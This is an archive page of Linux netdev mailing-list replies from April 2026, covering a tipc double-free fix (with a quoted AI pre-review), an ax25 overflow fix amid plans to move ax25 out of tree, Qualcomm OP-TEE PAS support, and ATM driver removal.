memory allocations can fail inside psp_dev_create() is irrelevant here.
psp_dev_create() failing shouldn't bring down the whole netdevice, so
logging a message and continuing is ok (which is what is also done for
macsec and ktls).
mlx5e_psp_register() is void because it's called from
mlx5e_nic_enable() which can't fail, so it really can't do much other
than complain to dmesg.
But while thinking about this, I suppose we could change the entire PSP
initialization to happen at the time of the current
mlx5e_psp_register(), and that would simplify the number of states.
I will do that in the next planned PSP series for net-next.
Meanwhile, could you please take the 2nd patch and leave this one out?
It should apply with no conflicts by itself.
Or you would like to see a separate submission with the 2nd patch
alone?
Cosmin.
^ permalink raw reply
* Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
From: Lee Jones @ 2026-04-21 12:28 UTC (permalink / raw)
To: Tung Quang Nguyen
Cc: Jon Maloy, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, netdev@vger.kernel.org,
tipc-discussion@lists.sourceforge.net,
linux-kernel@vger.kernel.org
In-Reply-To: <GV1P189MB198888D44169106BFB04359BC62C2@GV1P189MB1988.EURP189.PROD.OUTLOOK.COM>
On Tue, 21 Apr 2026, Tung Quang Nguyen wrote:
> >Subject: Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
> >
> >On Mon, 20 Apr 2026, Lee Jones wrote:
> >
> >> On Mon, 20 Apr 2026, Tung Quang Nguyen wrote:
> >>
> >> > >> Subject: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
> >> > >> >
> >> > >> >The tipc_msg_validate() function can potentially reallocate the
> >> > >> >skb it is validating, freeing the old one. In
> >> > >> >tipc_buf_append(), it was being called with a pointer to a local
> >> > >> >variable which was a copy of the
> >> > >caller's skb pointer.
> >> > >> >
> >> > >> >If the skb was reallocated and validation subsequently failed,
> >> > >> >the error handling path would free the original skb pointer,
> >> > >> >which had already been freed, leading to double-free.
> >> > >> >
> >> > >> >Fix this by passing the caller's skb pointer-pointer directly to
> >> > >> >tipc_msg_validate(), ensuring any modification is reflected correctly.
> >> > >> >The local skb pointer is then updated from the (possibly
> >> > >> >modified) caller's pointer.
> >> > >> >
> >> > >> >Fixes: d618d09a68e4 ("tipc: enforce valid ratio between skb
> >> > >> >truesize and
> >> > >> >contents")
> >> > >> >Assisted-by: Gemini:gemini-3.1-pro-preview
> >> > >> >Signed-off-by: Lee Jones <lee@kernel.org>
> >> > >> >---
> >> > >> > net/tipc/msg.c | 3 ++-
> >> > >> > 1 file changed, 2 insertions(+), 1 deletion(-)
> >> > >> >
> >> > >> >diff --git a/net/tipc/msg.c b/net/tipc/msg.c index
> >> > >> >76284fc538eb..9f4f612ee027
> >> > >> >100644
> >> > >> >--- a/net/tipc/msg.c
> >> > >> >+++ b/net/tipc/msg.c
> >> > >> >@@ -177,8 +177,9 @@ int tipc_buf_append(struct sk_buff
> >> > >> >**headbuf, struct sk_buff **buf)
> >> > >> >
> >> > >> > if (fragid == LAST_FRAGMENT) {
> >> > >> > TIPC_SKB_CB(head)->validated = 0;
> >> > >> >- if (unlikely(!tipc_msg_validate(&head)))
> >> > >> >+ if (unlikely(!tipc_msg_validate(headbuf)))
> >> > >> > goto err;
> >> > >> >+ head = *headbuf;
> >> > >> This is a known issue and was reported via
> >> > >> https://patchwork.kernel.org/project/netdevbpf/patch/202603302053
> >> > >> 13.24 33372-1-nicholas@carlini.com/ The author did not respond to
> >> > >> my comment.
> >> > >> Can you improve the fix by applying my patch?
> >> > >
> >> > >I'd be happy to make any required changes.
> >> > >
> >> > >However, is this approach superior to simply passing a reference?
> >> > >
> >> > >v1 appears to be simpler, easier to read and avoids the explanation.
> >> > >
> >> > As I explained, your fix adds extra overhead to normal path while the error
> >path is corner case and it rarely happens.
> >> > Whatever approach is applied, we need to add explanation to understand
> >more easily the logic and hidden trick in tipc_msg_validate().
> >>
> >> Very well. I have made the recommended changes.
> >>
> >> The patch is currently in my build-test environment.
> >>
> >> I will post v2, when everything has been satisfied.
> >
> >Okay, I genuinely tried to apply your patch. It builds just fine, but Gemini (the
> >AI I use to pre-review patches before submission) has some doubts that this is
> >the correct approach:
> >
> >> @@ -177,8 +177,20 @@ int tipc_buf_append(struct sk_buff **headbuf,
> >> struct sk_buff **buf)
> >>
> >> if (fragid == LAST_FRAGMENT) {
> >> TIPC_SKB_CB(head)->validated = 0;
> >> - if (unlikely(!tipc_msg_validate(&head)))
> >> +
> >> + /* If the reassembled skb has been freed in
> >> + * tipc_msg_validate() because of an invalid truesize,
> >> + * then head will point to a newly allocated reassembled
> >> + * skb, while *headbuf points to freed reassembled skb.
> >> + * In such cases, correct *headbuf for freeing the newly
> >> + * allocated reassembled skb later.
> >> + *
> >> + * Note: It's done this way instead of passing &head // I added
> >this part to give
> >> + * to avoid slowing down the happy path since this failure // the
> >reviewer some additoinal
> >> + * is a rare event. // context
> >> + */
> >> + if (unlikely(!tipc_msg_validate(headbuf))) {
> You did NOT apply my patch correctly. I did not suggest passing headbuf to tipc_msg_validate().
Ah, you're right. I missed that line change.
Let me revisit. Bear with.
> My patch is very simple:
> + if (unlikely(!tipc_msg_validate(&head))) {
> + /* reassembled skb has been freed in
> + * tipc_msg_validate() because of invalid truesize.
> + * head now points to newly-allocated reassembled skb
> + * while *headbuf points to freed reassembled skb.
> + * So, correct *headbuf for freeing newly-allocated
> + * reassembled skb later.
> + */
> + if (head != *headbuf)
> + *headbuf = head;
> +
> goto err;
> + }
--
Lee Jones [李琼斯]
^ permalink raw reply
* Re: [PATCH v4 net] net: ax25: fix integer overflow in ax25_rx_fragment()
From: Andrew Lunn @ 2026-04-21 12:25 UTC (permalink / raw)
To: hugh
Cc: Paolo Abeni, Mashiro Chen, netdev, linux-hams, kuba, horms, davem,
edumazet, Greg KH
In-Reply-To: <e2a47378-9008-45a2-92e3-d1f374b5e766@blemings.org>
On Tue, Apr 21, 2026 at 06:45:39PM +1000, Hugh Blemings wrote:
> Hi Paolo, All,
>
> On 21/4/2026 17:29, Paolo Abeni wrote:
> > On 4/13/26 10:49 PM, Mashiro Chen wrote:
> > > ax25_rx_fragment() accumulates fragment lengths into ax25_cb->fraglen,
> > > which is an unsigned short. When the total exceeds 65535, fraglen wraps
> > > around to a small value. The subsequent alloc_skb(fraglen) allocates a
> > > too-small buffer, and skb_put() in the copy loop triggers skb_over_panic().
> > >
> > > Add pskb_may_pull(skb, 1) at function entry to ensure the segmentation
> > > header byte is in the linear data area before dereferencing skb->data.
> > > This also rejects zero-length skbs, which the original code did not
> > > check for.
> > >
> > > Two issues in the overflow error path are also fixed:
> > > First, the current skb, after skb_pull(skb, 1), is neither enqueued
> > > nor freed before returning 1, leaking it. Add kfree_skb(skb) before
> > > the return.
> > > Second, ax25->fraglen is not reset after skb_queue_purge(). Add
> > > ax25->fraglen = 0 to restore a consistent state.
> > >
> > > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > > Signed-off-by: Mashiro Chen <mashiro.chen@mailbox.org>
> > we are moving ax25 out of tree:
> >
> > https://lore.kernel.org/netdev/20260421021824.1293976-1-kuba@kernel.org/
> >
> > please hold off until Thursday (after that our net PR will land into
> > mainline), and eventually resend if the code still exists in Linus's
> > tree at that point.
>
> Is there any flexibility here ?
>
> Jakubs (CC'd) patches to remove unfortunately weren't cross posted to
> linux-hams and so I'm not able to directly reply in netdev
>
> We've had a thread ongoing in linux-hams around the future of
> AX25/ROSE/NETROM for the last week or so and believe we've a path towards an
> orderly exit from the mainline tree, probably towards a userspace
> implementation. This includes a couple of folks who have indicated they
> would be open to overseeing the maintenance of the code in the meantime.
>
> We'd hoped to have a period of a few months to do an orderly exit from the
> tree to minimise the impact on the (admittedly small, but non-zero) users
> that build trees/make use of the in kernel support.
>
> Apologies for my lack of familiarity with the process here to deprecate etc.
I know it is short notice, but there is a conference call today. Jakub
sent this yesterday:
The bi-weekly call is scheduled for tomorrow at 8:30 am (PT) /
5:30 pm (~EU), at https://bbb.lwn.net/rooms/ldm-chf-zxx-we7/join
I'd like to discuss evolution of the process which would prepare
us for the "AI age" (read: influx of plausibly looking yet entirely
computer generated patches).
Andrew
^ permalink raw reply
* Re: [PATCH v3 00/15] firmware: qcom: Add OP-TEE PAS service support
From: Sumit Garg @ 2026-04-21 12:22 UTC (permalink / raw)
To: Bjorn Andersson
Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
netdev, linux-wireless, ath12k, linux-remoteproc, konradybcio,
robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo, lumag,
abhinav.kumar, jesszhan0024, marijn.suijten, airlied, simona,
vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <adSOFCL26y5qt1Cu@sumit-xelite>
On Tue, Apr 07, 2026 at 10:24:44AM +0530, Sumit Garg wrote:
> Hi Bjorn,
>
> On Mon, Apr 06, 2026 at 10:09:27AM -0500, Bjorn Andersson wrote:
> > On Fri, Mar 27, 2026 at 06:40:28PM +0530, Sumit Garg wrote:
> > > From: Sumit Garg <sumit.garg@oss.qualcomm.com>
> > >
> > > Qcom platforms has the legacy of using non-standard SCM calls
> > > splintered over the various kernel drivers. These SCM calls aren't
> > > compliant with the standard SMC calling conventions which is a
> > > prerequisite to enable migration to the FF-A specifications from Arm.
> > >
> >
> > Please get our colleagues involved in this discussion, because this
> > non-SCM interface does not match the direction we are taking.
>
> I thought I have already involved folks from QTEE perspective (Apurupa
> and Sree) actively working on FF-A implementation aligned to this
> interface. It would have been better if you could let me know where is
> the direction mismatch here. In case there is a better alternative
> design proposal for PAS service with FF-A, I would be happy to hear
> that.
>
> Anyhow for the legacy SoCs like KLMT, we really don't have any
> alternative but have to stick to existing QTEE PAS design with OP-TEE
> providing as an alternative backend. Surely we want to support loading
> of existing signed firmware present in linux-firmware repo for KLMT with
> OP-TEE being the TZ.
After further offline internal Qcom discussions, the teams are aligned
on the vision to use and extend generic Qcom PAS layer for all the TZ
backends whether it's legacy SCM backend based on QTEE, OP-TEE backend
as proposed by this patch-set or future object invoke (based on
SMCInvoke) for QTEE.
I hope with that we can progress to get this patch-set merged in next
merge window. I will send v4 shortly after merge window closes to
address misc. comments from Harshal on patch 04/15.
-Sumit
^ permalink raw reply
* RE: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
From: Tung Quang Nguyen @ 2026-04-21 12:10 UTC (permalink / raw)
To: Lee Jones
Cc: Jon Maloy, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, netdev@vger.kernel.org,
tipc-discussion@lists.sourceforge.net,
linux-kernel@vger.kernel.org
In-Reply-To: <20260421103543.GH3202366@google.com>
>Subject: Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
>
>On Mon, 20 Apr 2026, Lee Jones wrote:
>
>> On Mon, 20 Apr 2026, Tung Quang Nguyen wrote:
>>
>> > >> Subject: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
>> > >> >
>> > >> >The tipc_msg_validate() function can potentially reallocate the
>> > >> >skb it is validating, freeing the old one. In
>> > >> >tipc_buf_append(), it was being called with a pointer to a local
>> > >> >variable which was a copy of the
>> > >caller's skb pointer.
>> > >> >
>> > >> >If the skb was reallocated and validation subsequently failed,
>> > >> >the error handling path would free the original skb pointer,
>> > >> >which had already been freed, leading to double-free.
>> > >> >
>> > >> >Fix this by passing the caller's skb pointer-pointer directly to
>> > >> >tipc_msg_validate(), ensuring any modification is reflected correctly.
>> > >> >The local skb pointer is then updated from the (possibly
>> > >> >modified) caller's pointer.
>> > >> >
>> > >> >Fixes: d618d09a68e4 ("tipc: enforce valid ratio between skb
>> > >> >truesize and
>> > >> >contents")
>> > >> >Assisted-by: Gemini:gemini-3.1-pro-preview
>> > >> >Signed-off-by: Lee Jones <lee@kernel.org>
>> > >> >---
>> > >> > net/tipc/msg.c | 3 ++-
>> > >> > 1 file changed, 2 insertions(+), 1 deletion(-)
>> > >> >
>> > >> >diff --git a/net/tipc/msg.c b/net/tipc/msg.c index
>> > >> >76284fc538eb..9f4f612ee027
>> > >> >100644
>> > >> >--- a/net/tipc/msg.c
>> > >> >+++ b/net/tipc/msg.c
>> > >> >@@ -177,8 +177,9 @@ int tipc_buf_append(struct sk_buff
>> > >> >**headbuf, struct sk_buff **buf)
>> > >> >
>> > >> > if (fragid == LAST_FRAGMENT) {
>> > >> > TIPC_SKB_CB(head)->validated = 0;
>> > >> >- if (unlikely(!tipc_msg_validate(&head)))
>> > >> >+ if (unlikely(!tipc_msg_validate(headbuf)))
>> > >> > goto err;
>> > >> >+ head = *headbuf;
>> > >> This is a known issue and was reported via
>> > >> https://patchwork.kernel.org/project/netdevbpf/patch/202603302053
>> > >> 13.24 33372-1-nicholas@carlini.com/ The author did not respond to
>> > >> my comment.
>> > >> Can you improve the fix by applying my patch?
>> > >
>> > >I'd be happy to make any required changes.
>> > >
>> > >However, is this approach superior to simply passing a reference?
>> > >
>> > >v1 appears to be simpler, easier to read and avoids the explanation.
>> > >
>> > As I explained, your fix adds extra overhead to normal path while the error
>path is corner case and it rarely happens.
>> > Whatever approach is applied, we need to add explanation to understand
>more easily the logic and hidden trick in tipc_msg_validate().
>>
>> Very well. I have made the recommended changes.
>>
>> The patch is currently in my build-test environment.
>>
>> I will post v2, when everything has been satisfied.
>
>Okay, I genuinely tried to apply your patch. It builds just fine, but Gemini (the
>AI I use to pre-review patches before submission) has some doubts that this is
>the correct approach:
>
>> @@ -177,8 +177,20 @@ int tipc_buf_append(struct sk_buff **headbuf,
>> struct sk_buff **buf)
>>
>> if (fragid == LAST_FRAGMENT) {
>> TIPC_SKB_CB(head)->validated = 0;
>> - if (unlikely(!tipc_msg_validate(&head)))
>> +
>> + /* If the reassembled skb has been freed in
>> + * tipc_msg_validate() because of an invalid truesize,
>> + * then head will point to a newly allocated reassembled
>> + * skb, while *headbuf points to freed reassembled skb.
>> + * In such cases, correct *headbuf for freeing the newly
>> + * allocated reassembled skb later.
>> + *
>> + * Note: It's done this way instead of passing &head // I added
>this part to give
>> + * to avoid slowing down the happy path since this failure // the
>reviewer some additoinal
>> + * is a rare event. // context
>> + */
>> + if (unlikely(!tipc_msg_validate(headbuf))) {
You did NOT apply my patch correctly. I did not suggest passing headbuf to tipc_msg_validate().
My patch is very simple:
+ if (unlikely(!tipc_msg_validate(&head))) {
+ /* reassembled skb has been freed in
+ * tipc_msg_validate() because of invalid truesize.
+ * head now points to newly-allocated reassembled skb
+ * while *headbuf points to freed reassembled skb.
+ * So, correct *headbuf for freeing newly-allocated
+ * reassembled skb later.
+ */
+ if (head != *headbuf)
+ *headbuf = head;
+
goto err;
+ }
>> + if (head != *headbuf)
>> + *headbuf = head;
>> goto err;
>> + }
>> +
>
> "It looks like this logic might re-introduce the double-free bug.
> The call to `tipc_msg_validate(headbuf)` is correct, as it passes the
> pointer-to-pointer and allows the callee to update `*headbuf` if the skb
> is reallocated.
>
> However, the subsequent check seems to undo this. If a reallocation
> happens, `head` will hold the pointer to the old, freed skb, while
> `*headbuf` will hold the new one. The condition `head != *headbuf` will
> be true, and the assignment `*headbuf = head` will restore the stale
> pointer, leading to a double-free on the `err` path.
>
> The preceding comment also appears to have the pointer roles reversed.
>
> Would it be simpler and more correct to remove the `if (head != *headbuf)`
> check and the large comment block? The change from `&head` to `headbuf`
> in the function call seems to be the only change required to fix the bug.
> Also, please update the commit message to reflect the corrected logic."
>
>I suggest that we go with the original patch. Although I find it admirable that
>you are thinking about and attempting to protect the more common happy-
>path, I think the resultant single additional variable assignment is negligible
>and that the simplicity of the previous fix has greater benefits in terms of code
>readability and maintainability.
>
>If you like, I can add a small comment, but I doubt even that is necessary.
>
>--
>Lee Jones [李琼斯]
^ permalink raw reply
* Re: Discuss: Future of AX25, NETROM and ROSE in the kernel ?
From: Dan Cross @ 2026-04-21 12:06 UTC (permalink / raw)
To: hugh; +Cc: Steve Conklin, Stuart Longland VK4MSL, linux-hams, netdev
In-Reply-To: <5549733f-c9d6-4bae-84e3-285a317ee334@blemings.org>
On Tue, Apr 21, 2026 at 2:28 AM Hugh Blemings <hugh@blemings.org> wrote:
> Hi All,
>
> Just to note in this thread (top posting as it's a bit orthogonal to the
> rest of this discussion) that events have preceeded us somewhat here
>
> A patch just recently submitted removes the AX25, NETROM and ROSE code
> from the kernel moving it to the mod-orphan sub tree of netdev
>
> https://lore.kernel.org/netdev/20260421021824.1293976-1-kuba@kernel.org/T/#u
Wow, that happened much faster than I had anticipated.
> A shame but perhaps inevitable - but I think we have a good plan
> unfolding to both take care of medium term maintenance of the kernel
> code (in tree or out as it may be) as well as a move to userspace in the
> longer term.
>
> For the benefit of the netdev readership - we had a thread over in
> linux-hams on this but that may not have been visible to folks in
> netdev. TL;DR: we think we have a way forward but appreciate this may
> not be quick enough to meet the requirements/concerns put forward
>
> If we can delay removal, that'd be grand, but appreciate that moment may
> have passed.
Personally, I think this may actually turn out to be a good thing. If
nothing else, it's a forcing function for the ham community to get
serious about providing an implementation that works well, and in the
short term, an out-of-tree module can keep things working for folks
while alternatives are investigated and prepared.
I appreciate that folks want to discuss timing, but it doesn't appear
that there is much else to be done at this point. It would make sense
to continue discussion of alternatives over on linux-hams, sparing the
already-overloaded readers of the netdev list from the sordid details.
- Dan C.
(KZ2X)
^ permalink raw reply
* Re: [PATCH net-deletions] net: remove unused ATM protocols and legacy ATM device drivers
From: David Woodhouse @ 2026-04-21 12:06 UTC (permalink / raw)
To: Geert Uytterhoeven, Herbert Xu
Cc: Jakub Kicinski, davem, netdev, edumazet, pabeni, andrew+netdev,
horms, corbet, skhan, linux, tsbogend, maddy, mpe, npiggin,
chleroy, 3chas3, razor, idosch, jani.nikula, mchehab+huawei,
tytso, ebiggers, johannes.berg, jonathan.cameron, kees, kuniyu,
fourier.thomas, andriy.shevchenko, rdunlap, akpm, linux-doc,
linux-mips, linuxppc-dev, bridge
In-Reply-To: <CAMuHMdU96F_42faeqNzDwaXks7mFrLrkPSJB_QTwxEn9HmVWpQ@mail.gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1154 bytes --]
On Tue, 2026-04-21 at 13:57 +0200, Geert Uytterhoeven wrote:
> Hi Herbert,
>
> On Tue, 21 Apr 2026 at 13:51, Herbert Xu <herbert@gondor.apana.org.au> wrote:
> > On Tue, Apr 21, 2026 at 10:26:18AM +0100, David Woodhouse wrote:
> > > I suspect they don't have a huge amount of interest in the Solos any
> > > more, or the Geode-based SBC they sold with two of them on-board. But
> > > OpenWrt does still support them, and I even have one here (although no
> > > ADSL line to test it with). They were briefly popular as fully Linux-
> > > supported ADSL routers.
> >
> > ADSL is history, it only ever made sense in rich countries where
> > physical copper cables were pre-installed in homes. While rich
> > countries have moved to fibre, the rest of the world won't use
> > ADSL either because there is no copper cable to begin with. So
> > it's actually cheaper to just lay a fibre cable for a new install.
>
> I am afraid the move to fibre hasn't been completed yet.
> ADSL (VDSL2?) is still being used.
VSDL is different, and isn't ATM-based. But even ADSL is still in use;
in the UK some rural areas haven't got fibre yet.
[-- Attachment #2: smime.p7s --]
[-- Type: application/pkcs7-signature, Size: 5069 bytes --]
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox